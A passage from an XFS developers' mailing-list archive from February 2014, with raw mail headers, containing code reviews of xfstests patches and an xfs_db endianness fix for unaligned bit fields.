X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144920 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 05, 2014 at 07:46:40PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Version 5 filesystems always have attr2 format enabled, and it > cannot be turned off via the noattr2 mount option. As such, attempts > to mount with noattr2 will be rejected and this causes cascading > failures within the test. > > Hence detect if we've created a CRC enabled filesystem, and if this > is the case _notrun the test. > > Signed-off-by: Dave Chinner > --- > tests/xfs/189 | 11 ++++++++++- > 1 file changed, 10 insertions(+), 1 deletion(-) > > diff --git a/tests/xfs/189 b/tests/xfs/189 > index 27bfb63..addf7ce 100755 > --- a/tests/xfs/189 > +++ b/tests/xfs/189 > @@ -241,7 +241,16 @@ _require_scratch > unset SCRATCH_RTDEV > unset SCRATCH_LOGDEV > > -_scratch_mkfs_xfs | _filter_mkfs 2>/dev/null > +_scratch_mkfs_xfs | _filter_mkfs 2> $tmp.mkfs > + > +# check to see if we've made a CRC enabled filesystem. If so, > +# we can't run the test because CRc enabled filesystems don't support > +# noattr2 mount options and this will cause cascading failures that are > +# impossible to filter. > +. $tmp.mkfs > +if [ $crc -eq 1 ]; then > + _notrun "Filesystem CRCs enabled, noattr2 is not supported." > +fi I really don't like opencoding this. Shouldn't we instead simplfy pass a nocrc argument to _scratch_mkfs_xfs? Alternatively this magic should move into a helper. From BATV+d7a2717a2a10dcc45952+3820+infradead.org+hch@bombadil.srs.infradead.org Fri Feb 7 11:49:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1413A29DF8 for ; Fri, 7 Feb 2014 11:49:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E4DB88F8052 for ; Fri, 7 Feb 2014 09:49:51 -0800 (PST) X-ASG-Debug-ID: 1391795390-04cb6c6de01a4290001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id HsNkV1iI41PkzGeP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 09:49:51 -0800 (PST) X-Barracuda-Envelope-From: BATV+d7a2717a2a10dcc45952+3820+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WBpYk-000064-Cy; Fri, 07 Feb 2014 17:49:50 +0000 Date: Fri, 7 Feb 2014 09:49:50 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems Message-ID: <20140207174950.GB31464@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems References: <1391588590-6035-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391588590-6035-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391795390 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144921 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Feb 05, 2014 at 07:23:10PM +1100, Dave Chinner wrote: > diff --git a/common/filter b/common/filter > index 04d12c4..bb7fb33 100644 > --- a/common/filter > +++ b/common/filter > @@ -152,6 +152,9 @@ _filter_mkfs() > if (/^\s+=\s+sectsz=(\d+)\s+attr=(\d+)/) { > print STDERR "sectsz=$1\nattr=$2\n"; > } > + if (/^\s+=\s+crc=(\d)/) { > + print STDERR "crc=$1\n"; > + } I think this variable is named way to genericly. And that probably applies to others as well. I'd suggest at least xfs_feature_crc or similar. From BATV+d7a2717a2a10dcc45952+3820+infradead.org+hch@bombadil.srs.infradead.org Fri Feb 7 11:50:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D9B2929DF8 for ; Fri, 7 Feb 2014 11:50:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BAB128F8039 for ; Fri, 7 Feb 2014 09:50:15 -0800 (PST) X-ASG-Debug-ID: 1391795414-04cbb00c2819fc00001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id I6ZbZ4rOtCvpSAGX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 09:50:14 -0800 (PST) X-Barracuda-Envelope-From: BATV+d7a2717a2a10dcc45952+3820+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WBpZ8-00018S-1k; Fri, 07 Feb 2014 17:50:14 +0000 Date: Fri, 7 Feb 2014 09:50:14 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/021: filter v5 filesystem metadata Message-ID: <20140207175014.GC31464@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs/021: filter v5 filesystem metadata References: <1391587416-5262-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391587416-5262-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391795414 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144921 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From tinguely@eagdhcp-232-208.americas.sgi.com Fri Feb 7 15:04:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 119B329DF8 for ; Fri, 7 Feb 2014 15:04:45 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay1.corp.sgi.com (Postfix) with ESMTP id E9D648F8035 for ; Fri, 7 Feb 2014 13:04:41 -0800 (PST) Received: from eagdhcp-232-208.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-208.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s17L4iej003119 for ; Fri, 7 Feb 2014 15:04:44 -0600 (CST) (envelope-from tinguely@eagdhcp-232-208.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-208.americas.sgi.com (8.14.5/8.14.5/Submit) id s17L4iRr003118; Fri, 7 Feb 2014 15:04:44 -0600 (CST) (envelope-from tinguely) Message-Id: <20140207210348.249387765@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 07 Feb 2014 16:03:42 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfs_db: fix the setting of unaligned directory fields Content-Disposition: inline; filename=xfs_db-fix-dir-settings.patch Setting the directory startoff, startblock, and blockcount bit fields is difficult on both big and little endian machines. The setting of extentflag bit field was completely broken. big endian test: xfs_db> write u.bmx[0].startblock 12 u.bmx[0].startblock = 0 xfs_db> write u.bmx[0].startblock 0xc0000 u.bmx[0].startblock = 192 little endian test: xfs_db> write u.bmx[0].startblock 12 u.bmx[0].startblock = 211106232532992 xfs_db> write u.bmx[0].startblock 0xc0000 u.bmx[0].startblock = 3221225472 Since these output fields and the lengths are not aligned to a byte, setbitval requires them to be entered in big endian and properly byte/nibble shifted. The extentflag out field is aligned to a byte boundary but was not shifted correctly. Convert the input to big endian on little endian machines and bit/byte shift on all platforms so setbitval can set the bits correctly. As noted in the comment, the bit shift must be done before doing the endian conversion or end result will be shifted in the wrong direction.. Clean some whitespace while in the setbitbal() function. Signed-off-by: Mark Tinguely --- db/bit.c | 68 ++++++++++++++++--------------------------------------------- db/write.c | 25 +++++++++++++--------- 2 files changed, 33 insertions(+), 60 deletions(-) Index: b/db/bit.c =================================================================== --- a/db/bit.c +++ b/db/bit.c @@ -130,55 +130,23 @@ getbitval( void setbitval( - void *obuf, /* buffer to write into */ - int bitoff, /* bit offset of where to write */ - int nbits, /* number of bits to write */ - void *ibuf) /* source bits */ + void *obuf, /* buffer to write into */ + int bitoff, /* bit offset of where to write */ + int nbits, /* number of bits to write */ + void *ibuf) /* source bits */ { - char *in = (char *)ibuf; - char *out = (char *)obuf; - - int bit; - -#if BYTE_ORDER == LITTLE_ENDIAN - int big = 0; -#else - int big = 1; -#endif - - /* only need to swap LE integers */ - if (big || (nbits!=16 && nbits!=32 && nbits!=64) ) { - /* We don't have type info, so we can only assume - * that 2,4 & 8 byte values are integers. sigh. - */ - - /* byte aligned ? */ - if (bitoff%NBBY) { - /* no - bit copy */ - for (bit=0; bit X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AB4C229DF8 for ; Fri, 7 Feb 2014 16:33:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D8A88F8040 for ; Fri, 7 Feb 2014 14:33:38 -0800 (PST) X-ASG-Debug-ID: 1391812412-04cbb00c2b1a6dd0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id E6wFWCFHPVE2ODKe for ; Fri, 07 Feb 2014 14:33:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMIAGVe9VJ5LGaB/2dsb2JhbABZgwy6L4VTgQwXdIIlAQEEATocIwULCAMYCSUPBSUDIROHfQfMWRcWjmcHhDgElEKDaIpQh1KDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 08 Feb 2014 09:03:31 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBtzD-0003y0-Rc; Sat, 08 Feb 2014 09:33:27 +1100 Date: Sat, 8 Feb 2014 09:33:27 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields Message-ID: <20140207223327.GG13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields References: <20140207210348.249387765@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140207210348.249387765@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391812413 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144925 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 04:03:42PM -0600, Mark Tinguely wrote: > Setting the directory startoff, startblock, and blockcount > bit fields is difficult on both big and little endian machines. > The setting of extentflag bit field was completely broken. > > big endian test: > xfs_db> write u.bmx[0].startblock 12 > u.bmx[0].startblock = 0 > xfs_db> write u.bmx[0].startblock 0xc0000 > u.bmx[0].startblock = 192 > > little endian test: > xfs_db> write u.bmx[0].startblock 12 > u.bmx[0].startblock = 211106232532992 > xfs_db> write u.bmx[0].startblock 0xc0000 > u.bmx[0].startblock = 3221225472 Can you please write an xfstest for this? The BMBT extent records are the only structures that have unaligned bit offsets and hence the only ones that exercise this specific code. Clearly no-one has needed to write a BMBT record in the past 10 years.... > Since these output fields and the lengths are not aligned to a byte, > setbitval requires them to be entered in big endian and properly > byte/nibble shifted. The extentflag out field is aligned to a byte > boundary but was not shifted correctly. > > Convert the input to big endian on little endian machines and > bit/byte shift on all platforms so setbitval can set the bits > correctly. As noted in the comment, the bit shift must be done > before doing the endian conversion or end result will be shifted > in the wrong direction.. Ok, so while we are touching this code, some documentation explaining the bit shifting requirements, the format of the return buffer from convert_args, what parameter format setbitval() expects, etc. Some ascii art demonstrating the incoming and outgoing buffer contents for convert_arg would be a great help. > + char *in = (char *)ibuf; > + char *out = (char *)obuf; > + int bit; ibuf/obuf are void *, so don't need casts. Also, whitespace: char *in = ibuf; char *out = obuf; > + /* > + * The input data is in big endian and aligned to the bit length. > + * Set the individual bits if the destination field or the source > + * end are not aligned. > + */ > + if (bitoff % NBBY || nbits % NBBY) { > + for (bit=0; bit + setbit(out, bit+bitoff, getbit(in, bit)); > + } else > + memcpy(out+byteize(bitoff), in, byteize(nbits)); This is also rather whitespace challenged. > } > Index: b/db/write.c > =================================================================== > --- a/db/write.c > +++ b/db/write.c > @@ -451,6 +451,7 @@ convert_arg( > int alloc_size; > char *ostr; > int octval, ret; > + int offadj; Just "offset" is sufficient here, and with the scope of use, it can be declared in the else branch where it is used. > > if (bit_length <= 64) > alloc_size = 8; > @@ -526,16 +527,20 @@ convert_arg( > */ > *value = strtoll(arg, NULL, 0); If we are touching this code, the return value here should be error checked. xfs_db> write u3.bmx[0].startblock 3rgfdw u3.bmx[0].startblock = 52776558133248 xfs_db> write u3.bmx[0].startblock x3rgfdw u3.bmx[0].startblock = 0 xfs_db> i.e. it accepts garbage rather than erroring out. > -#if __BYTE_ORDER == BIG_ENDIAN > - /* hackery for big endian */ > - if (bit_length <= 8) { > - rbuf += 7; > - } else if (bit_length <= 16) { > - rbuf += 6; > - } else if (bit_length <= 32) { > - rbuf += 4; > - } > -#endif > + /* > + * Align the significant bits in the result length. > + * Must be done before the endian conversion. > + */ > + offadj = bit_length % NBBY; > + if (offadj) > + *value <<= (8 - offadj); So it gets shifted up by a number 1-7 bits to align the first bit of the range to a byte boundary. So, that magic "8" should be: *value <<= NBBY - offadj; Ascii art to help readers. Before (host order): rbuf +---+---+---+---+---+--n+nnn+nnn+ + bitlen + After (host order): +---+---+---+---+---+nnn+nnn+n--+ + bitlen + then > + > + /* convert to big endian */ > + *value = cpu_to_be64(*value); > + > + /* Align the signifant bytes in the result length. */ > + offadj = 7 - (bit_length - 1)/ 8; > + rbuf += offadj; So the buffer pointer get moved forward by a certain number of bytes to point at the first byte of the 64 bit big endian value. IOWs, the magic "7" is actually (sizeof(__be64) - 1) and the "8" is "sizeof(__be64)" because we are talking about adjusting the offset within a __be64 variable. IOWs the calculation should be: offset = sizeof(__be64) - 1 - ((bit_length - 1) / sizeof(__be64)); Ascii art to help readers. Before (big endian): rbuf +---+---+---+---+---+nnn+nnn+n--+ + bitlen + After (big endian): rbuf +nnn+nnn+n--+ + bitlen + And a similar diagram should be added to setbitval to describe the format of the bit information required in @ibuf. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Feb 7 16:49:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C6E7C7CBE for ; Fri, 7 Feb 2014 16:49:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 48413AC009 for ; Fri, 7 Feb 2014 14:49:40 -0800 (PST) X-ASG-Debug-ID: 1391813377-04cb6c6de11aac10001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id LhFjGMsaATlWen6B for ; Fri, 07 Feb 2014 14:49:38 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMIAOJh9VJ5LGaB/2dsb2JhbABZgwy6L4VTgQoXdIIlAQEFOhwjEAgDGAklDwUlAyETiATMWxcWjmcHhDgEmCqSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 08 Feb 2014 09:19:36 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBuEo-0003zj-3f; Sat, 08 Feb 2014 09:49:34 +1100 Date: Sat, 8 Feb 2014 09:49:34 +1100 From: Dave Chinner To: Koen De Wit Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks Message-ID: <20140207224934.GH13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks References: <1391793285-935-1-git-send-email-koen.de.wit@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391793285-935-1-git-send-email-koen.de.wit@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391813377 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144926 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 06:14:45PM +0100, Koen De Wit wrote: > Tests Btrfs filesystems with all possible metadata block sizes, by > setting large extended attributes on files. > > Signed-off-by: Koen De Wit There's a few things here that need fixing. > +pagesize=`$here/src/feature -s` > +pagesize_kb=`expr $pagesize / 1024` > + > +# Test all valid leafsizes > +for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do > + _scratch_unmount >/dev/null 2>&1 Indentation are tabs, and tabs are 8 spaces in size, please. > + _scratch_mkfs -l ${leafsize}K >/dev/null > + _scratch_mount No need to use _scratch_unmount here - you should be doing a _check_scratch_fs at the end of the loop. > + # Calculate the xattr size, but leave 512 bytes for other metadata. > + xattr_size=`expr $leafsize \* 1024 - 512` > + > + touch $SCRATCH_MNT/emptyfile > + # smallfile will be inlined, bigfile not. > + $XFS_IO_PROG -f -c "pwrite 0 100" $SCRATCH_MNT/smallfile >/dev/null > + $XFS_IO_PROG -f -c "pwrite 0 9000" $SCRATCH_MNT/bigfile >/dev/null > + ln -s $SCRATCH_MNT/bigfile $SCRATCH_MNT/bigfile_softlink > + > + files=(emptyfile smallfile bigfile bigfile_softlink) > + chars=(a b c d) > + for i in `seq 0 1 3`; do > + char=${chars[$i]} > + file=$SCRATCH_MNT/${files[$i]} > + lnkfile=${file}_hardlink > + ln $file $lnkfile > + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' $char` > + > + set_md5=`echo -n "$xattr_value" | md5sum` Just dump the md5sum to the output file. > + ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file > + get_md5=`${ATTR_PROG} -Lq -g attr_$char $file | md5sum` > + get_ln_md5=`${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum` And dump these to the output file, too. Then the golden image matching when the test is finish will tell you if it passed or not. i.e: echo -n "$xattr_value" | md5sum ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file ${ATTR_PROG} -Lq -g attr_$char $file | md5sum ${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum is all that neds to be done here. > + # Test attributes with a size larger than the leafsize. > + # Should result in an error. > + if [ "$leafsize" -lt "64" ]; then > + # Bash command lines cannot be larger than 64K characters, so we > + # do not test attribute values with a size >64KB. > + xattr_size=`expr $leafsize \* 1024 + 512` > + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' x` > + ${ATTR_PROG} -q -s attr_toobig -V $xattr_value \ > + $SCRATCH_MNT/emptyfile >> $seqres.full 2>&1 > + if [ "$?" -eq "0" ]; then > + echo "Expected error, xattr_size is bigger than ${leafsize}K" > + fi What you are doing is redirecting the error to $seqres.full so that it doesn't end up in the output file, then detecting the absence of an error and dumping a message to the output file to make the test fail. IOWs, the ATTR_PROG failure message should be in the golden output file and you don't have to do anything else to detect a pass/fail condition. > +_scratch_unmount > + > +# Some illegal leafsizes > + > +_scratch_mkfs -l 0 2>> $seqres.full > +echo $? Same again - you are dumping the error output into a different file, then detecting the error manually. pass the output of _scratch_mkfs through a filter, and let errors cause golden output mismatches. Cheers, Dave. -- Dave Chinner david@fromorbit.com From tinguely@sgi.com Fri Feb 7 17:13:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4A0D17CBE for ; Fri, 7 Feb 2014 17:13:22 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2A5EF8F8040; Fri, 7 Feb 2014 15:13:19 -0800 (PST) Message-ID: <52F56891.5020305@sgi.com> Date: Fri, 07 Feb 2014 17:13:21 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields References: <20140207210348.249387765@sgi.com> <20140207223327.GG13647@dastard> In-Reply-To: <20140207223327.GG13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/07/14 16:33, Dave Chinner wrote: > On Fri, Feb 07, 2014 at 04:03:42PM -0600, Mark Tinguely wrote: >> Setting the directory startoff, startblock, and blockcount >> bit fields is difficult on both big and little endian machines. >> The setting of extentflag bit field was completely broken. >> >> big endian test: >> xfs_db> write u.bmx[0].startblock 12 >> u.bmx[0].startblock = 0 >> xfs_db> write u.bmx[0].startblock 0xc0000 >> u.bmx[0].startblock = 192 >> >> little endian test: >> xfs_db> write u.bmx[0].startblock 12 >> u.bmx[0].startblock = 211106232532992 >> xfs_db> write u.bmx[0].startblock 0xc0000 >> u.bmx[0].startblock = 3221225472 > > Can you please write an xfstest for this? The BMBT extent records > are the only structures that have unaligned bit offsets and hence > the only ones that exercise this specific code. Clearly no-one > has needed to write a BMBT record in the past 10 years.... nod. I manually ran through the values valid values for the fields to test. A test would be nice. >> Since these output fields and the lengths are not aligned to a byte, >> setbitval requires them to be entered in big endian and properly >> byte/nibble shifted. The extentflag out field is aligned to a byte >> boundary but was not shifted correctly. >> >> Convert the input to big endian on little endian machines and >> bit/byte shift on all platforms so setbitval can set the bits >> correctly. As noted in the comment, the bit shift must be done >> before doing the endian conversion or end result will be shifted >> in the wrong direction.. > > Ok, so while we are touching this code, some documentation > explaining the bit shifting requirements, the format of the return > buffer from convert_args, what parameter format setbitval() expects, > etc. Some ascii art demonstrating the incoming and outgoing buffer > contents for convert_arg would be a great help. > okay. >> + char *in = (char *)ibuf; >> + char *out = (char *)obuf; >> + int bit; > > ibuf/obuf are void *, so don't need casts. Also, whitespace: > > char *in = ibuf; > char *out = obuf; > >> + /* >> + * The input data is in big endian and aligned to the bit length. >> + * Set the individual bits if the destination field or the source >> + * end are not aligned. >> + */ >> + if (bitoff % NBBY || nbits % NBBY) { >> + for (bit=0; bit> + setbit(out, bit+bitoff, getbit(in, bit)); >> + } else >> + memcpy(out+byteize(bitoff), in, byteize(nbits)); > > This is also rather whitespace challenged. Nod, did not see that. > >> } >> Index: b/db/write.c >> =================================================================== >> --- a/db/write.c >> +++ b/db/write.c >> @@ -451,6 +451,7 @@ convert_arg( >> int alloc_size; >> char *ostr; >> int octval, ret; >> + int offadj; > > Just "offset" is sufficient here, and with the scope of use, it > can be declared in the else branch where it is used. > >> >> if (bit_length<= 64) >> alloc_size = 8; >> @@ -526,16 +527,20 @@ convert_arg( >> */ >> *value = strtoll(arg, NULL, 0); > > If we are touching this code, the return value here should be error > checked. > > xfs_db> write u3.bmx[0].startblock 3rgfdw > u3.bmx[0].startblock = 52776558133248 hmm, It should stop at 3. I will take a look. > xfs_db> write u3.bmx[0].startblock x3rgfdw > u3.bmx[0].startblock = 0 > xfs_db> > > i.e. it accepts garbage rather than erroring out. as does all the other writes ... xfs_db> write core.nblocks x3rgfdw core.nblocks = 0 Fixing convert_arg() is beyond the scope of just this patch. >> -#if __BYTE_ORDER == BIG_ENDIAN >> - /* hackery for big endian */ >> - if (bit_length<= 8) { >> - rbuf += 7; >> - } else if (bit_length<= 16) { >> - rbuf += 6; >> - } else if (bit_length<= 32) { >> - rbuf += 4; >> - } >> -#endif >> + /* >> + * Align the significant bits in the result length. >> + * Must be done before the endian conversion. >> + */ >> + offadj = bit_length % NBBY; >> + if (offadj) >> + *value<<= (8 - offadj); > > So it gets shifted up by a number 1-7 bits to align the first bit of > the range to a byte boundary. So, that magic "8" should be: > > *value<<= NBBY - offadj; > > Ascii art to help readers. Before (host order): > > rbuf > +---+---+---+---+---+--n+nnn+nnn+ > + bitlen + > After (host order): > +---+---+---+---+---+nnn+nnn+n--+ > + bitlen + > then > >> + >> + /* convert to big endian */ >> + *value = cpu_to_be64(*value); >> + >> + /* Align the signifant bytes in the result length. */ >> + offadj = 7 - (bit_length - 1)/ 8; >> + rbuf += offadj; > > So the buffer pointer get moved forward by a certain number of bytes > to point at the first byte of the 64 bit big endian value. IOWs, the > magic "7" is actually (sizeof(__be64) - 1) and the "8" is > "sizeof(__be64)" because we are talking about adjusting the offset > within a __be64 variable. IOWs the calculation should be: > > offset = sizeof(__be64) - 1 - > ((bit_length - 1) / sizeof(__be64)); > > Ascii art to help readers. Before (big endian): > > rbuf > +---+---+---+---+---+nnn+nnn+n--+ > + bitlen + > > After (big endian): > rbuf > +nnn+nnn+n--+ > + bitlen + > > And a similar diagram should be added to setbitval to describe the > format of the bit information required in @ibuf. > Yep, good idea. --Mark. From cody@linux.vnet.ibm.com Fri Feb 7 18:46:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none 